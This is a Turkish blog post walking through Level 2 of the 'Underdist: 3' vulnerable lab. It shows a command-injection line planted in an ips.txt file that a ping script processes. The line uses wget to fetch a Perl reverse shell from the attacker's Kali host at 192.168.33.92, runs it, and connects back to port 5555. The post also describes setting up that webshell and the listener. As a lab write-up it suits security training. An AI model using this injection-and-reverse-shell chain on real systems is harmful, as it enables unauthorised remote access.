İnternet, bilgi, bilişim güvenliğine dair her türlü karalamalara sahiplik yapan kişisel bir blog.

Underdist: 3 Level 2 çözümü

Bir önceki yazım da Underdist: 3 Level 1 çözümünü anlatmıştım. Şimdi yine bu vuln lab üzerinden devam ederek ikinci leveli birlikte çözelim. En son level 1’de private key ile birlikte ssh bağlantısı yapmıştım. Şimdi yine buradan devam ediyoruz.

Bu tarz bir durumda elde ettiğiniz ssh bağlantısı sonrasında dizinlerde gezmeniz yararınıza olacaktır. Çünkü sistemde kritik bilgi barındıran dosyalar elde edebilirsiniz yada çalışan bir uygulamada yeni bir zaafiyet keşfedebilirsiniz.

Sistemdeki kullanıcı klasörlerinde gezdiğimde underdist kullanıcısına ait kısımda 2 adet dosya dikkatimizi çekiyor. Hemen kaynak kodlarını analiz edelim. Bu dosyalara /home/underdist dizini altından ulaştım.

Analiz işlemini yapalım. ips.txt dosyası içerisinde yer alan satırlar teker teker ping işlemine tabi tutuluyor ve bu işlem sonucunda makinanın ayakta olup olmadığını dönen sonuca göre tespit edilip, tmp/logs dosyasına kaydediliyordu. Kısaca ips.txt dosyası işleniyordu. Buraya kadar anladık sanırım.

ips.txt dosyası içeriği

Peki şöyle bir düşünelim. ips.txt dosyası analiz ediliyor ve burada yer alan satırlar sistem komutuna ekleniyorsa biz ips.txt dosyasından yola çıkarak burayı manipule edebiliriz.
Yani şöyle; ips.txt dosyasının ilk satırında IP’den örnekleyelim. (198.27.100.204)
PY dosyası bunu okuyor ve sistemde şöyle bir komut çalıştırıyor.

Hedefimiz ips.txt olmalı. Şimdi şöyle düşünelim. Sistemde bir komut çalıştırılıyor. Bu komutta parametrelerinden bir tanesini ips.txt dosyasından alıyor. Biz buradan kendimize ters bağlantı yapabilir miyiz ? Evet yapabiliriz. Haydi bakalım. ips.txt dosyamızın ilk satırında manipule işlemini başlatalım. ips.txt dosyasının ilk satırına şunu ekliyorum.

127.0.0.1 | wget http://192.168.33.92/mustafa-reverse.pl | chmod 0777 /home/underdist/mustafa-reverse.pl | perl mustafa-reverse.pl 192.168.33.92 5555 -l | echo “Tamamdir :)” >> tamam.txt

Yukarıdaki kodu açıklayalım. Şimdi PY dosyamız ips.txt dosyasını okuyup işleyecek demiştik. Çok güzel. Peki işleyince ne olacak ? Yukarıdaki kod blogu çalışacak. Yani önce 127.0.0.1’e ping atacak. Ardından 192.168.33.92 adresinde yer alan mustafa-reverse.pl dosyasını indirecek ve ilgili dosyaya yazma/çalıştırma izni verecek. Akabinde bunu çalıştıracak ve benim kali makinamın 5555 portuna bağlantı sağlayacak ve makinaya erişim sağlayacağım. En sonunda da bu işlemler tamamlanırsa tamam.txt dosyası içerisine tamamdır şeklinde bir metin yazılacak.

Bize ters bağlantı yaparken faydalı olacak mustafa-reverse.pl dosyasına ihtiyacımız var. Hemen onu da elde edelim. Bunun için kali üzerinde yer alan webshellerden faydalanacağım.

4

Öncelikle kali makinamın apache servisini başlattım. Zira hedef makina bana erişmesi gerekecek. Ardından kali üzerinde hazır gelen /usr/share/webshells/perl klasörü altında ters bağlantıda kullanacağım perl dosyasına gidiyorum. Bunu http://192.168.33.92/mustafa-reverse.pl şekilde erişilecek hale getiriyorum.
Daha sonra mustafa-reverse.pl dosyasında bir takım değişiklikler yapmam gerekecek. Bunun için nano tarzı bir editörle dosyayı açıyorum.

Resimde ok işareti ile gösterilen kısmı kali makinamın IP adresini ve ilgili portu giriyorum. Ben 5555 ile portuna bağlantı yapmasını istiyorum. Ardından kaydedip çıkıyorum. İlgili dosyaya chmod 777 mustafa-reverse.pl diyerek izin veriyorum.

Bu arada bu komutla birlitke 5555.portuma gelen tüm bağlantıları dinliyorum.

Herşeyimiz hazır artık. Şimdi PY dosyasının çalışıp ips.txt dosyasındaki zararlı kodumuzun işlemini bekliyoruz. Bu işlem bir 15-20 saniye bekleyebilirsiniz. Tekrar ssh bağlantısına dönüp perl dosyamızı yani mustafa-reverse.pl yi download edip etmediğine bakalım.

İlgili dizini kontrol ettiğimiz bayağı bir mustafa-reverse.pl indirmiş.

 

 

ve Bingo. Ters bağlantıdan shell elde ettik ve artık underdist kullanıcısıyla sistemdeyiz 🙂

Peki bu levelde neler yaptık kısaca şöyle bakalım.

  • Bir önceki levelde elde ettiğimiz private key ile ssh bağlantısı elde etmiştik. Dolaşırken underdist klasörü altında çalışan bir py dosyası bulduk. ips.txt dosyasını işleyen bu py kodunda ping işlemi gerçekleştiriliyordu.
  • ips.txt dosyası içerisinin ilk satırını manipule ederek bize ters bağlantı oluşacak şekilde ayarladık ve py dosyası kodumuzu işler işlemez zararlı perl dosyamızı download edecek ve bize ters bağlantı sağlayarak sistemde underdist kullanıcısı ile erişim sağladık.

 

Bir sonra ki levelde görüşmek dileğiyle.

 

Mustafa

2004 yılından bu yana Web ve Bilgi Güvenliği üzerine araştırmalarda bulundum. Çok sayıda yerli yada yabancı websitelerinde bulunan zaafiyetleri ilgililere göndererek kapatılmasını sağladım. Octosec ailesindenim. Siber Güvenlik Eylem Planı kapsamında TSE Kayıtlı Sızma Uzmanı sertifikam bulunmaktadır.

Leave a Reply